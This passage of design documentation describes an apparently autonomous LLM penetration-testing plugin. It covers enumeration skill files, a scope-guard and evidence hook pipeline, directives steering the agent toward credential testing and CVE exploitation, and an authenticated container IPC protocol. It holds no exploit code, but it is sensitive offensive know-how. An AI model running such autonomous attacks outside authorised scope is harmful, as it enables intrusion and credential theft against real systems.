(ffuf)\\n\u251c\u2500\u2500 api/SKILL.md                      # web-api (OpenAPI, GraphQL, source maps)\\n\u251c\u2500\u2500 api-testing/SKILL.md              # web-api-testing (IDOR, SSRF, CORS)\\n\u251c\u2500\u2500 curl-techniques/SKILL.md          # web-curl (auth, file download, headers)\\n\u2514\u2500\u2500 services/SKILL.md                 # web-services (WordPress, Jenkins, Tomcat)\\n\\ndb-enumeration/\\n\u251c\u2500\u2500 SKILL.md                          # hub: triage order, tool contract, URL schemes\\n\u251c\u2500\u2500 postgresql/SKILL.md               # db-postgresql (pg://)\\n\u251c\u2500\u2500 mysql/SKILL.md                    # db-mysql (my://)\\n\u251c\u2500\u2500 mssql/SKILL.md                    # db-mssql (ms://)\\n\u251c\u2500\u2500 oracle/SKILL.md                   # db-oracle (or://)\\n\u2514\u2500\u2500 cassandra/SKILL.md                # db-cassandra (ca://)\\n```\\n\\nThe hub skill provides strategy and common mistakes. Sub-skills provide technique-specific reference. The LLM loads the hub first, then loads sub-skills as needed for specific technologies or attack phases.\\n\\n## Skill Frontmatter\\n\\nEvery `SKILL.md` begins with YAML frontmatter that Hermes uses for discovery and metadata:\\n\\n```yaml\\n---\\nname: dns-enumeration                     # unique identifier \u2014 load-bearing\\ndescription: DNS reconnaissance \u2014 ...     # shown in skill menu\\nversion: 2.0.0\\nmetadata:\\n  hermes:\\n    tags: [security, pentesting, dns]\\n    category: security\\n    requires_toolsets: [argicida]          # skill only appears when toolset is active\\n    requires_tools: [argicida_dnsx]       # tools this skill documents\\n  covers_services: [domain]               # nmap service names this skill applies to\\n---\\n```\\n\\n### The `name` Field Is Load-Bearing\\n\\nThe `name` field in frontmatter is how `skill_view('name')` resolves the skill. Tool schemas in `src/argicida/argicida/tools/schemas.py` reference skills by this exact name. If you rename a skill's `name` field without updating the corresponding tool schema, the loading chain breaks silently \u2014 the LLM calls `skill_view('old-name')`, Hermes finds nothing, and the LLM proceeds without technique guidance.\\n\\nSub-skills with this constraint are marked with a comment in their frontmatter:\\n\\n```yaml\\n---\\n# name is referenced by schemas.py \u2014 do not rename without updating tool schemas\\nname: web-crawling\\n```\\n\\n## Skill Content Patterns\\n\\n### Enumeration Order\\n\\nService skills prescribe a specific enumeration sequence. The LLM follows this order unless findings warrant deviation:\\n\\n```\\n1. Register context (e.g., scope_define for DNS server)\\n2. Broad discovery (zone transfer, full record enum)\\n3. Targeted follow-up (reverse DNS, subdomain brute)\\n4. Scope expansion (add_host, scope_define for new IPs)\\n```\\n\\n### \\\"When to Stop\\\" Sections\\n\\nEvery skill ends with explicit completion criteria. Without these, the LLM tends to re-run tools hoping for different results. The criteria are stated as positive assertions (\\\"enumeration is complete when you have...\\\") followed by explicit anti-patterns (\\\"do NOT re-run...\\\").\\n\\n### Common Mistakes\\n\\nSkills document tool-specific pitfalls the LLM is likely to hit. These are informed by real session failures \u2014 each mistake entry exists because the LLM actually made that error during testing. Examples: forgetting `-Pn` with nmap, using IP addresses instead of domain names for AXFR, duplicating auto-injected flags.\\n\\n### Tool Argument Guidance\\n\\nThe core `pentest-methodology` skill documents the auto-injection behavior for every tool \u2014 whether `target` is automatically passed to the command, or whether the LLM must include the URL/address in `args`. This is the single most common source of tool call failures, so it appears in both the methodology skill (Tier 1 quick-reference table) and in each technique skill's examples.\\n\\n## How Skills Connect to Tool Schemas\\n\\nTool schemas in `src/argicida/argicida/tools/schemas.py` contain `skill_view()` instructions in their `description` fields. This creates a pull-based loading model:\\n\\n1. Hermes presents the tool schema to the LLM when it considers calling a tool\\n2. The schema description says \\\"Load `skill_view('dns-enumeration')` for techniques\\\"\\n3. The LLM calls `skill_view('dns-enumeration')` before (or alongside) the tool call\\n4. The skill content loads into context for that turn\\n\\nThis is the only mechanism that connects Tier 3 skills to the LLM's decision-making. If a tool schema lacks a `skill_view()` reference, the LLM will use the tool without loading technique guidance.\\n\\n## Adding or Modifying Skills\\n\\n### Adding a New Standalone Skill\\n\\n1. Create `profile/skills/security/-enumeration/SKILL.md` with frontmatter\\n2. Set `name`, `covers_services`, `requires_tools` in frontmatter\\n3. Add a `skill_view('')` reference in the relevant tool schema description (`src/argicida/argicida/tools/schemas.py`)\\n4. Add a routing entry in `pentest-methodology`'s \\\"What to Do with Results\\\" section\\n5. Add the service \u2192 skill mapping in `network-discovery`'s interpretation table\\n6. Run `uv run python scripts/sync_skills.py` to sync back to the profile directory\\n\\n### Adding a Sub-Skill to a Hub\\n\\n1. Create a subdirectory under the hub (e.g., `web-enumeration/new-technique/SKILL.md`)\\n2. Set the `name` field \u2014 this is the `skill_view()` identifier\\n3. Add a row to the hub skill's sub-skill table\\n4. If any tool schema should reference it, add a `skill_view('')` instruction\\n5. Sync with `scripts/sync_skills.py`\\n\\n### Sync Workflow\\n\\nSkills live in two places: the source of truth in `profile/skills/security/` and the deployed copy at `$HERMES_HOME/skills/security/`. The LLM can self-improve deployed skills at runtime (Hermes supports this natively). To capture runtime improvements back into the repo:\\n\\n```bash\\nuv run python scripts/sync_skills.py\\n```\\n\\nThis copies from the deployed location back to `profile/skills/security/`, preserving any changes the LLM made during sessions.\\n\\n## Key Skill: `pentest-methodology`\\n\\nThis is the foundational skill that all others depend on. It defines:\\n\\n- **Available tools** \u2014 what the LLM can and cannot use (no terminal, no file browser)\\n- **Container environment** \u2014 read-only rootfs, writable `/tmp/` and `/artifacts/`\\n- **Engagement lifecycle** \u2014 create engagement before scanning, resume by name\\n- **Argument contract** \u2014 `target` vs `args`, auto-injection rules, flag separation\\n- **Tool syntax table** \u2014 quick-reference for every scan tool's argument pattern\\n- **Enumeration order** \u2014 naabu \u2192 nmap \u2192 service-specific tools \u2192 scope expansion\\n- **Service-to-tool matching** \u2014 which tools apply to which service types\\n- **Result interpretation** \u2014 decision tree for acting on findings\\n- **Credential workflow** \u2014 fragment extraction \u2192 candidate ranking \u2192 testing \u2192 validation\\n- **Error handling** \u2014 scope rejections, empty results, timeouts\\n\\nThe methodology skill is unique in that parts of it are always present (Tier 1 quick-reference) while the full content is Tier 2 (first turn only). No other skill spans two tiers.\\n\\n## Design Constraints\\n\\n**No code execution.** Skills are pure documentation \u2014 they contain no executable logic, no templates, no scripts. All behavior is in the Argicida Python codebase. Skills only influence the LLM's tool call decisions.\\n\\n**Token budget awareness.** Every skill must justify its token cost. Verbose explanations waste context that the LLM needs for scan results and engagement state. Skills are written in compressed reference style, not tutorial style.\\n\\n**Consistency tests.** The codebase includes consistency tests that verify structural invariants between skills and tool schemas. These catch drift where a tool schema references a skill name that no longer exists, or a skill documents a tool that has been removed.\",\"hermes-profile-skills\":\"# Hermes Profile & Skills\\n\\n# Hermes Profile & Skills\\n\\nThe `profile/` directory is a self-contained Hermes profile distribution that transforms Hermes into an offensive security operator. It packages three concerns \u2014 identity, technique knowledge, and synchronization tooling \u2014 into an installable unit that shapes LLM behavior at runtime without touching Argicida's Python source.\\n\\nNothing here is imported by the code in `src/`. Hermes reads these files after installation, and the LLM consults them during pentest sessions to decide how to act.\\n\\n## Sub-modules\\n\\n| Sub-module | Path | Role |\\n|---|---|---|\\n| [Profile](profile.md) | `profile/` | Identity, model config, theme \u2014 the static foundation |\\n| [Skills](skills.md) | `profile/skills/security/` | 13 technique skills the LLM loads on demand |\\n| [Scripts](scripts.md) | `scripts/sync_skills.py` | Bidirectional sync between repo and runtime copies |\\n\\n## How They Fit Together\\n\\n```mermaid\\nflowchart LR\\n    A[profile/] -->|hermes profile install| B[$HERMES_HOME/profiles/pentest/]\\n    B --> C[SOUL.md + config.yaml]\\n    B --> D[skills/security/*.md]\\n    D -->|LLM loads at runtime| E[Pentest Session]\\n    C -->|Shapes identity & params| E\\n    E -->|LLM self-improves skills| D\\n    D -->|drift detected| F[scripts/sync_skills.py]\\n    F -->|push or pull| A\\n```\\n\\nThe [profile](profile.md) defines _who_ the LLM is: its SOUL identity, model endpoint, turn budget, and visual theme. The [skills](skills.md) define _what it knows_: structured technique reference for each service category (web, DNS, SMB, databases, etc.), delivered through a progressive-disclosure architecture that manages context window pressure. Together, they are installed as a unit via `hermes profile install ./profile --alias`, which creates the `pentest` command alias.\\n\\nAt runtime, Hermes can allow the LLM to self-improve skills \u2014 rewriting technique docs based on session experience. Those changes live only in the installed runtime directory. The [sync script](scripts.md) bridges this gap, diffing repo skills against their runtime counterparts by frontmatter `name:` and letting the operator push or pull per-skill.\\n\\n## Key Workflows\\n\\n**Initial setup** \u2014 `hermes profile install ./profile --alias` copies everything to `$HERMES_HOME/profiles/pentest/`, making `pentest chat` available as a CLI command.\\n\\n**During a session** \u2014 The LLM receives the SOUL identity and a compact quick-reference (~900 tokens) every turn. Full methodology loads on the first orchestrator turn only. Technique skills load on demand when the LLM encounters a specific service, triggered by `skill_view()` references in tool schemas.\\n\\n**After sessions** \u2014 `uv run python scripts/sync_skills.py` detects any skills that diverged between repo and runtime, shows unified diffs, and offers per-skill push/pull resolution.\",\"hook-pipeline\":\"# Hook Pipeline\\n\\n# Hook Pipeline\\n\\n`src/argicida/argicida/hooks/`\\n\\nThe hook pipeline is Argicida's central interception layer. Every tool call the LLM makes passes through it, and every LLM turn receives context shaped by it. The pipeline enforces scope, captures evidence, enriches results, populates the asset registry, and injects engagement state into the LLM's context window \u2014 all without the LLM knowing any of this machinery exists.\\n\\nHooks are registered into Hermes via `ctx.register_hook()` during plugin startup (see `registration/hooks.py`). Hermes fires them at defined points in its agent loop. Argicida never calls hooks directly.\\n\\n## Tool Call Lifecycle\\n\\nA single tool invocation passes through up to six hooks in a fixed order determined by Hermes:\\n\\n```mermaid\\nflowchart TD\\n    LLM[\\\"LLM decides to call a tool\\\"]\\n    SG[\\\"pre_tool_call: Scope Guard\\\"]\\n    SG -->|blocked| BLOCK[\\\"Tool call rejectedreason returned to LLM\\\"]\\n    SG -->|allowed| EXEC[\\\"Tool executes in container\\\"]\\n    EXEC --> NORM[\\\"transform_tool_result: Normalizer\\\"]\\n    NORM --> POST1[\\\"post_tool_call: Evidence Capture\\\"]\\n    NORM --> POST2[\\\"post_tool_call: Output Store\\\"]\\n    NORM --> POST3[\\\"post_tool_call: Asset Extractor\\\"]\\n    NORM --> POST4[\\\"post_tool_call: Scope Expansion\\\"]\\n    POST1 & POST2 & POST3 & POST4 --> NEXT[\\\"pre_llm_call: Context Injection\\\"]\\n    NEXT --> LLM2[\\\"LLM sees result + updated context\\\"]\\n\\n    LLM --> SG\\n```\\n\\nThe `pre_llm_call` hook fires before every LLM turn, not just after tool calls. Session lifecycle hooks (`on_session_start`, `on_session_end`, `on_session_finalize`) fire at session boundaries.\\n\\n## The Adapter Pattern\\n\\nHermes hooks have a fixed signature (`def callback(**kwargs) -> ...`). Argicida's domain logic needs access to engagement state, the evidence chain, the store, and other plugin internals. The adapter pattern bridges this gap.\\n\\nEach `make_*_adapter()` function in `adapters.py` is a factory that closes over the required dependencies and returns a plain callback matching the Hermes signature:\\n\\n```python\\ndef make_scope_guard_adapter(\\n    get_scope: Callable[[], ScopeDefinition | None],\\n    *,\\n    store: EngagementStore | None = None,\\n    get_eid: Callable[[], str] | None = None,\\n) -> Callable[..., dict[str, Any] | None]:\\n    def adapter(tool_name: str = \\\"\\\", args: dict = None, **kwargs) -> ...:\\n        # closes over get_scope, store, get_eid\\n        ...\\n    return adapter\\n```\\n\\nDependencies are injected as callables (`get_scope`, `get_eid`, `get_session_id`) rather than values because the underlying state changes during a session \u2014 an engagement might not exist when the hook is registered but will exist by the time it fires.\\n\\nAll adapters follow fail-safe conventions:\\n- **Scope guard** fails closed \u2014 any exception blocks the tool call\\n- **Everything else** fails open \u2014 exceptions are logged but don't interrupt the session\\n\\n## Hook Points\\n\\n### `pre_tool_call` \u2014 Scope Guard\\n\\n**Module:** `scope_guard.py`  \\n**Adapter:** `make_scope_guard_adapter`  \\n**Returns:** `{\\\"action\\\": \\\"block\\\", \\\"message\\\": \\\"...\\\"}` or `None` (allow)\\n\\nTwo-layer scope enforcement. This is the command layer (layer 2); the network layer (nftables on the gateway) is layer 1.\\n\\nThe guard performs these checks in order:\\n\\n1. **Non-Argicida tools** \u2014 allowed unconditionally (Hermes built-ins like `delegate_task`)\\n2. **Exempt tools** \u2014 management tools (`engagement_create`, `scope_define`, etc.) skip scope checks. The exempt set comes from `get_scope_exempt_tools()` in the tool definition registry.\\n3. **No active engagement** \u2014 blocked with a message telling the LLM to create one\\n4. **Target validation** \u2014 the `target` field is checked against scope CIDRs and domains via `_is_target_in_scope()`. Multi-target calls (comma-separated) are rejected. Hostname\u2192IP fallback uses the asset registry when `store` and `engagement_id` are provided.\\n5. **Args validation** \u2014 the full `args` array is checked via `validate_tool_args()` using the tool's scope profile (blocked flags, target flags, value flags, positional handling). Each tool definition declares its own profile.\\n\\nThe `_scope_context()` helper formats the in-scope targets into error messages so the LLM can self-correct. Excluded IPs are deliberately omitted \u2014 operational data the LLM shouldn't see.\\n\\nTool-name-to-binary mapping (`_TOOL_NAME_TO_BINARY`) is populated at startup via `register_tool_aliases()` from discovered tool definitions. This handles cases like `db_query` mapping to `usql`.\\n\\n### `transform_tool_result` \u2014 Normalizer\\n\\n**Module:** `normalizer.py`  \\n**Adapter:** `make_normalizer_adapter`  \\n**Returns:** modified result string, or `None` (unchanged)\\n\\nThe normalizer is the most complex hook. It transforms raw tool output into enriched, triaged results the LLM can act on. The pipeline:\\n\\n1. **Error hint injection** (`enrich_tool_error`) \u2014 matches stderr/error text against known patterns from tool definitions and injects actionable `error_hint` fields. Pattern\u2192hint pairs are registered at startup via `register_error_hints()`.\\n\\n2. **Finding extraction** (`parse_findings_from_result` via `parsers.py`) \u2014 dispatches to per-tool parsers registered from tool definitions. Each parser receives a `ParseContext` and returns a `ParseResult` containing findings, credentials, principals, and secrets.\\n\\n3. **Tool outcome classification** (`build_tool_outcome`) \u2014 produces a canonical `tool_outcome` envelope with:\\n   - `status`: `\\\"success\\\"`, `\\\"error\\\"`, or `\\\"no_results\\\"`\\n   - `connectivity`: `\\\"refused\\\"`, `\\\"timeout\\\"`, `\\\"unreachable\\\"`, `\\\"dns_failure\\\"` (when applicable)\\n   - `auth_result`: `\\\"SUCCESS\\\"` or `\\\"FAILED\\\"` (when auth was attempted)\\n   - `result_count` and `empty_output` for quick triage\\n\\n4. **Result transformation** (`transform_result` via `result_transformers.py`) \u2014 per-tool transformers reshape output for LLM consumption (e.g., summarizing verbose nmap XML). Falls back to truncating `raw_output` via `truncate_field()`.\\n\\n5. **LLM fallback extraction** (`extract_findings_llm` via `perceptor.py`) \u2014 when no deterministic parser produced findings and an LLM is available, sends the raw output through `llm.complete_structured()` with a JSON schema. Skipped for tools in `_PERCEPTOR_SKIP_TOOLS`. This is a last-resort path.\\n\\n6. **Triage pipeline** \u2014 extracted findings go through deduplication (`deduplicate`), EPSS/KEV scoring (`score_findings`), and triage classification (`classify_findings`). The enriched findings are serialized back into the result JSON.\\n\\nThe adapter also supports `post_normalize` callbacks \u2014 a tuple of callables that run after normalization. This is how the scope expansion hook receives the already-normalized result.\\n\\n### `post_tool_call` \u2014 Evidence, Output, Assets, Scope Expansion\\n\\nFour independent hooks fire after every tool call. They all receive the (possibly normalized) result.\\n\\n#### Evidence Capture\\n\\n**Module:** `evidence.py`  \\n**Adapter:** `make_evidence_adapter`\\n\\nExtracts findings from results and appends them to the evidence chain and engagement store. The extraction follows a priority order:\\n\\n1. **Pre-enriched findings** \u2014 if the normalizer already injected a `findings` array into the result JSON, use those directly (they're already triaged)\\n2. **Parser extraction** \u2014 fall back to `parse_findings_from_result()` and run the triage pipeline\\n3. **Sentinel findings** \u2014 if no findings were produced at all, create a minimal `\\\" completed\\\"` sentinel so the coverage gap detector knows the tool ran\\n\\nCredentials, principals, and secrets follow the same pre-enriched \u2192 parser fallback pattern. Each type has a `_*_from_dict` factory and a generic `_extract_enriched()` helper that pulls typed lists from the result JSON.\\n\\nFindings are stored via `store_finding()` (which handles DB insert + chain append). Credentials go to `store.credentials.add_validated_credential()`. All storage calls are individually try/excepted \u2014 a single credential storage failure doesn't lose the findings.\\n\\n#### Lossless Output Store\\n\\n**Module:** `output_store.py`  \\n**Adapter:** `make_output_store_adapter`\\n\\nEvery Argicida tool invocation gets its raw output persisted to disk at `$HERMES_HOME/argicida/output///`. Three files:\\n\\n| File | Content |\\n|------|---------|\\n| `stdout` | `parsed[\\\"raw_output\\\"]` |\\n| `stderr` | `parsed[\\\"stderr\\\"]` |\\n| `meta.json` | Tool name, target, exit code, request ID, session ID, timestamp, tool args |\\n\\nAdditional artifact files (`sarif_report`, `plan_yaml`) are written when present. Unscoped invocations (no engagement) go under `unscoped/`. All files use `O_NOFOLLOW` + `0o600` permissions.\\n\\n#### Asset Extractor\\n\\n**Module:** `asset_extractor.py`  \\n**Adapter:** `make_asset_extraction_adapter`\\n\\nPopulates the asset registry from tool results. Built with an O(1) tool definition lookup at construction time.\\n\\nFor each tool result:\\n1. The tool's `extractor` function (from the tool definition) produces `AssetDiscovery` tuples: `(ip, hostname, port, protocol, service, source)`\\n2. Each discovery upserts an asset, adds hostnames (syncing to dnsmasq), and adds ports\\n3. Coverage state advances (`discovered` \u2192 `ports_scanned`) for port-scanning tools\\n4. For httpx: fingerprints are extracted per hostname, and vhost groups are computed when all hostnames on an asset are fingerprinted\\n5. For web tools (httpx, nuclei, katana, ffuf): vhost scans are recorded and enumeration completeness is checked\\n6. `link_findings_by_target()` connects findings to assets\\n\\nZAP tools get special handling \u2014 their findings contain URLs, so assets are extracted by parsing the `target` URL field.\\n\\n#### Scope Expansion\\n\\n**Adapter:** `make_scope_expansion_adapter` (in `adapters.py`)\\n\\nWhen a tool result contains a `scope_proposal` field with `discovered_hosts`, the scope is automatically expanded:\\n1. New `/32` CIDRs are added for discovered IPs\\n2. Discovered domains are added\\n3. Hostname\u2192IP mappings are synced to dnsmasq via `add_host_entry`\\n4. The expanded scope is validated, persisted to the DB, and propagated to the gateway's nftables rules\\n\\n### `pre_llm_call` \u2014 Context Injection\\n\\n**Module:** `context.py`, `context_sections.py`, `autonomy.py`, `coverage.py`  \\n**Adapter:** `make_context_adapter`  \\n**Returns:** `{\\\"context\\\": \\\"...\\\"}` or `None`\\n\\nAssembles a context string injected into every LLM turn. The content differs dramatically between orchestrator and subagent roles, branching on `platform == \\\"subagent\\\"`.\\n\\n#### Orchestrator Context\\n\\nThe orchestrator delegates tool execution \u2014 it doesn't need tool syntax. Its context includes:\\n\\n- **State block** \u2014 engagement name, phase, scope, finding counts by triage level\\n- **Resume briefing** (first turn only, when findings exist) \u2014 top critical/interesting findings with a directive not to re-scan\\n- **Asset summary** \u2014 per-IP coverage state, ports, hostnames, vhost groups, tech fingerprints, login URLs\\n- **ZAP status** \u2014 passive finding summary when ZAP sidecar is active\\n- **Coverage map** \u2014 per-target list of which tools have produced results, grouped by asset\\n- **Credential summary** \u2014 validated credentials (redacted), known principals, known secrets, untested candidate count\\n- **Management quick-reference** \u2014 `engagement_query` parameter syntax\\n- **Autonomy directive** (positioned last for recency bias) \u2014 phase-aware instructions telling the LLM exactly what to delegate next\\n\\n#### Subagent Context\\n\\nSubagents execute tools directly. Their context includes:\\n\\n- State block and asset summary (same as orchestrator)\\n- **Quick-reference** (~900 tokens) \u2014 tool syntax table and service-to-tool matching table, extracted from pentest-methodology\\n- **Skills menu** \u2014 available technique skills loadable via `skill_view()`\\n- **Skill pointers** \u2014 service-specific skill suggestions based on detected services\\n- Coverage map and credential summary\\n\\n#### Autonomy Directive\\n\\n`build_autonomy_directive()` in `autonomy.py` is the orchestrator's action engine. It:\\n\\n1. Auto-advances the engagement phase when conditions are met (`_maybe_advance_phase`)\\n2. Clears stale in-flight tracking entries that now have findings (`_clear_completed_in_flight`)\\n3. Builds a prioritized gap list from three sources:\\n   - Unscanned assets (no findings at all)\\n   - Enumeration gaps (`build_coverage_gaps` \u2014 services without matching tool runs)\\n   - Deep-testing gaps (ZAP active scans, credential testing, sensitive files, high-EPSS exploitation)\\n4. Emits a structured directive: \\\"Delegate exactly N task(s)\\\" with specific goals\\n\\nThe directive always starts with \\\"ACTION REQUIRED: Do NOT respond with only text\\\" \u2014 a strong steering signal that prevents the LLM from narrating instead of acting.\\n\\n### Session Lifecycle Hooks\\n\\n#### `on_session_start`\\n\\n**Module:** `session_start.py`  \\n**Adapter:** `make_session_start_adapter`\\n\\nThree operational modes based on which dependencies are provided:\\n\\n1. **Session-ID-only** (always) \u2014 stores `session_id` on `PluginState`, checks EPSS/KEV data freshness\\n2. **Enrichment** (with `epss` + `kev`) \u2014 auto-downloads stale EPSS/KEV data and hot-reloads it\\n3. **Auto-resume** (with `store` + `chain` + `hermes_home`) \u2014 binds the last active engagement via `bind_engagement()`, checking `ARGICIDA_ENGAGEMENT` env var first, then falling back to the most recent `last_bound_at` in the database\\n\\n#### `on_session_end`\\n\\n**Adapter:** `make_session_end_adapter`\\n\\nFires every turn (not just at session close \u2014 Hermes naming quirk). Signs the evidence chain with Ed25519 and persists ZAP passive findings if ZAP is active.\\n\\n#### `on_session_finalize`\\n\\n**Adapter:** `make_session_finalize_adapter`\\n\\nDestructive teardown. In order:\\n1. Final evidence chain signature persisted to DB\\n2. Engagement unlocked and session cleared\\n3. Delegation tracking cleared\\n4. ZAP findings persisted, ZAP manager cleared\\n5. Pod session torn down (pod, gateway, networks, temp dirs)\\n6. On shutdown: engagement store closed\\n\\n## Supporting Subsystems\\n\\n### Coverage Gap Detection (`coverage.py`)\\n\\n`build_coverage_gaps()` compares discovered services against the `ServiceSkillRegistry` to find targets with uncovered services. It tracks:\\n\\n- Per-target tool sets and service\u2192port mappings\\n- In-flight delegations (to avoid re-delegating work already dispatched)\\n- Unidentified ports needing `nmap -sV`\\n- Unknown services needing httpx probing\\n- Vhost groups needing web enumeration\\n\\n`build_deep_testing_gaps()` aggregates four specialized gap detectors:\\n- ZAP passive findings without active scans\\n- Services with untested credential candidates\\n- Discovered sensitive files not yet retrieved\\n- High-EPSS critical CVEs without exploitation follow-up\\n\\n### Service Skill Registry (`service_registry.py`)\\n\\nBuilt at startup from SKILL.md frontmatter. Maps nmap service names (e.g., `\\\"ssh\\\"`, `\\\"http\\\"`) to `SkillInfo` objects containing the skill name, required toolsets, and required tools.\\n\\n`skill_exercised()` determines whether a skill's coverage requirement is met by comparing `required_tools` against the set of tools that have run, normalizing both sides to bare names (stripping `argicida_` prefix).\\n\\n### Parser and Transformer Dispatch (`parsers.py`, `result_transformers.py`)\\n\\nBoth use a registry pattern: tool definitions declare parser/transformer functions, which are bulk-registered at startup via `register_parsers()` / `register_transformers()`. At runtime, dispatch is an O(1) dict lookup by tool name.\\n\\n`ParseResult` is a `NamedTuple` carrying `(findings, credentials, principals, secrets)` \u2014 the four types of structured data that can be extracted from a tool result.\\n\\n## Adding a New Hook\\n\\nHooks are wired in `registration/hooks.py`. To add a new hook:\\n\\n1. Write the domain logic in a new module under `hooks/`\\n2. Create a `make_*_adapter()` factory in `adapters.py` that closes over dependencies\\n3. Register it in `registration/hooks.py` via `ctx.register_hook(\\\"hook_point\\\", adapter)`\\n\\nHermes hook points: `pre_tool_call`, `transform_tool_result`, `post_tool_call`, `pre_llm_call`, `on_session_start`, `on_session_end`, `on_session_finalize`, `subagent_start`, `subagent_stop`.\\n\\nAll hooks are synchronous \u2014 Hermes calls them with plain `cb(**kwargs)`. If you need async work inside a hook, use `asyncio.to_thread()`.\",\"ipc-layer\":\"# IPC Layer\\n\\n# IPC Layer\\n\\nThe IPC layer connects the host-side Hermes plugin to the thin agent running inside the Podman tool container. It uses a Unix domain socket with a custom binary protocol built on msgspec/msgpack, authenticated with HMAC-SHA256.\\n\\n## Why Unix Sockets\\n\\nThe tool container runs in a separate user namespace under rootless Podman. HTTP APIs would require port mapping and TLS. Unix sockets avoid both \u2014 the socket file is bind-mounted into the container via the `ipc_dir`, and the `U`/`chown` mount option handles cross-namespace UID mapping. The 108-byte path limit on Unix sockets is why `ipc_dir` uses a short `tempfile.TemporaryDirectory(prefix=\\\"argicida-ipc-\\\")` path rather than embedding engagement IDs.\\n\\n## Architecture\\n\\n```mermaid\\nsequenceDiagram\\n    participant H as Host (IpcClient)\\n    participant S as Container (ipc/server.py)\\n\\n    H->>S: TCP-style connect via Unix socket\\n    S->>H: IpcAuthChallenge (nonce)\\n    H->>S: IpcAuthResponse (HMAC of nonce)\\n    S->>H: IpcAuthResult (accepted/rejected)\\n\\n    loop Per tool invocation\\n        H->>S: IpcCommand (tool, args, env, timeout)\\n        S->>H: IpcResponse (exit_code, stdout, stderr)\\n    end\\n```\\n\\nThe host never sends raw shell commands. Every invocation is a structured `IpcCommand` with a named tool, an argument tuple, and optional environment variables. The agent executes the tool via `create_subprocess_exec` and returns structured output.\\n\\n## Wire Protocol\\n\\nDefined in `argicida_common/ipc_protocol.py`. Shared by both client and server.\\n\\n### Framing\\n\\nEvery message is length-prefixed: a 4-byte big-endian unsigned integer followed by that many bytes of msgpack payload. Maximum payload size is `MAX_IPC_MESSAGE_SIZE` (from `argicida_common.constants`). Empty frames are rejected.\\n\\n```\\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n\u2502 4 bytes  \u2502 N bytes              \u2502\\n\u2502 len (BE) \u2502 msgpack payload      \u2502\\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n```\\n\\n`write_frame()` and `read_frame()` handle this. `read_frame` accepts a `max_size` parameter \u2014 the handshake phase uses a tighter `MAX_AUTH_FRAME_SIZE` limit.\\n\\n### Authentication\\n\\nThe handshake is challenge-response. The server generates a random nonce and sends it as `IpcAuthChallenge`. The client computes `HMAC-SHA256(session_key, sequence=0 || timestamp=\\\"\\\" || nonce)` and returns the digest in `IpcAuthResponse`. The server verifies with `verify_hmac()` and replies with `IpcAuthResult`.\\n\\nThe `session_key` is a shared secret generated at pod creation time and passed to both sides \u2014 to the container via environment variable, to the host via `PodSession`.\\n\\n### Authenticated Messages\\n\\nAfter handshake, every `IpcCommand` and `IpcResponse` carries three authentication fields:\\n\\n| Field | Purpose |\\n|-------|---------|\\n| `sequence` | Monotonic counter \u2014 prevents replay |\\n| `timestamp` | ISO 8601 UTC \u2014 rejected if older than 30 seconds |\\n| `hmac_tag` | HMAC-SHA256 over `(sequence \\\\|\\\\| timestamp \\\\|\\\\| body)` |\\n\\n`send_message()` computes the HMAC by first encoding the message with `hmac_tag=b\\\"\\\"`, computing the tag over that encoding, then re-encoding with the real tag. `recv_message()` reverses this: decode, extract the tag, re-encode with `hmac_tag=b\\\"\\\"`, and verify. Sequence mismatches and expired timestamps are `ProtocolError`.\\n\\nThe HMAC input is deliberately structured \u2014 sequence and timestamp length are packed as fixed-width integers to prevent length-extension ambiguity:\\n\\n```\\nHMAC_input = pack(\\\">Q\\\", sequence) + pack(\\\">I\\\", len(timestamp)) + timestamp + body\\n```\\n\\n## Message Schema\\n\\nDefined in `argicida_common/ipc_schema.py`. All structs use `frozen=True, forbid_unknown_fields=True` per project convention.\\n\\n### `IpcCommand`\\n\\n```python\\ntool: str                    # Tool binary name (e.g., \\\"nmap\\\", \\\"nuclei\\\")\\nargs: tuple[str, ...]        # CLI arguments (max MAX_ARGS_COUNT)\\nrequest_id: str              # Correlation ID for output storage\\nenv: tuple[tuple[str, str], ...] = ()  # Environment variables (max MAX_ENV_COUNT)\\ntimeout_s: int = 300         # Kill the process after this many seconds (1-3600)\\n```\\n\\nEnvironment variables are validated by `validate_ipc_command_env()` against `ENV_ALLOWLIST` and `ENV_BLOCKLIST` before dispatch. Variables not on the allowlist are rejected \u2014 the container never inherits the host environment.\\n\\n### `IpcResponse`\\n\\n```python\\nrequest_id: str     # Matches the command's request_id\\nexit_code: int      # Process exit code\\nstdout: str         # Truncated to MAX_IPC_STDOUT_SIZE\\nstderr: str         # Truncated to MAX_IPC_STDERR_SIZE\\nerror: str | None   # Agent-level error (e.g., tool not found)\\n```\\n\\n## Host-Side Client\\n\\n`IpcClient` in `argicida/ipc/client.py` is the only consumer on the host side. It is instantiated per-thread via `threading.local()` in the tool dispatch layer \u2014 Hermes dispatches parallel tool calls on separate worker threads, each with its own event loop, so sharing a single client's asyncio streams across loops would fail.\\n\\n### Connection Lifecycle\\n\\n`connect()` retries up to 10 times with 500ms delay, handling `FileNotFoundError` (socket not yet created), `ConnectionRefusedError` (agent not ready), and `PermissionError` (namespace issues). Each failed attempt calls `_cleanup()` to release the stream.\\n\\n### Stale Connection Detection\\n\\nThe `connected` property checks whether the event loop that created the connection is still alive via `loop.is_closed()`. It deliberately does **not** compare loop identity (`is`) \u2014 different worker threads legitimately run different event loops, and a reconnect on a new loop is expected.\\n\\nWhen `send_command()` detects a stale connection, it calls `_force_close_stale()` (synchronous \u2014 no `await`, since the old loop may be dead) and then reconnects. Broken pipes during command send also trigger `_force_close_stale()`, but re-raise the exception \u2014 the caller decides whether to retry.\\n\\n### Integration Point\\n\\nThe only production caller is `_send_tool_command()` in `argicida/tools/base.py`. The full path from an LLM tool call to a container process is:\\n\\n```\\ntool handler \u2192 run_tool() \u2192 _send_tool_command() \u2192 IpcClient.send_command()\\n    \u2192 send_message(IpcCommand) / recv_message(IpcResponse)\\n```\\n\\nThe client is accessed through the `PodSession` which holds both the socket path and session key. `ensure_client()` in `tools/base.py` creates the per-thread client instance if one doesn't exist or the current one is stale.\\n\\n## Error Handling\\n\\nAll 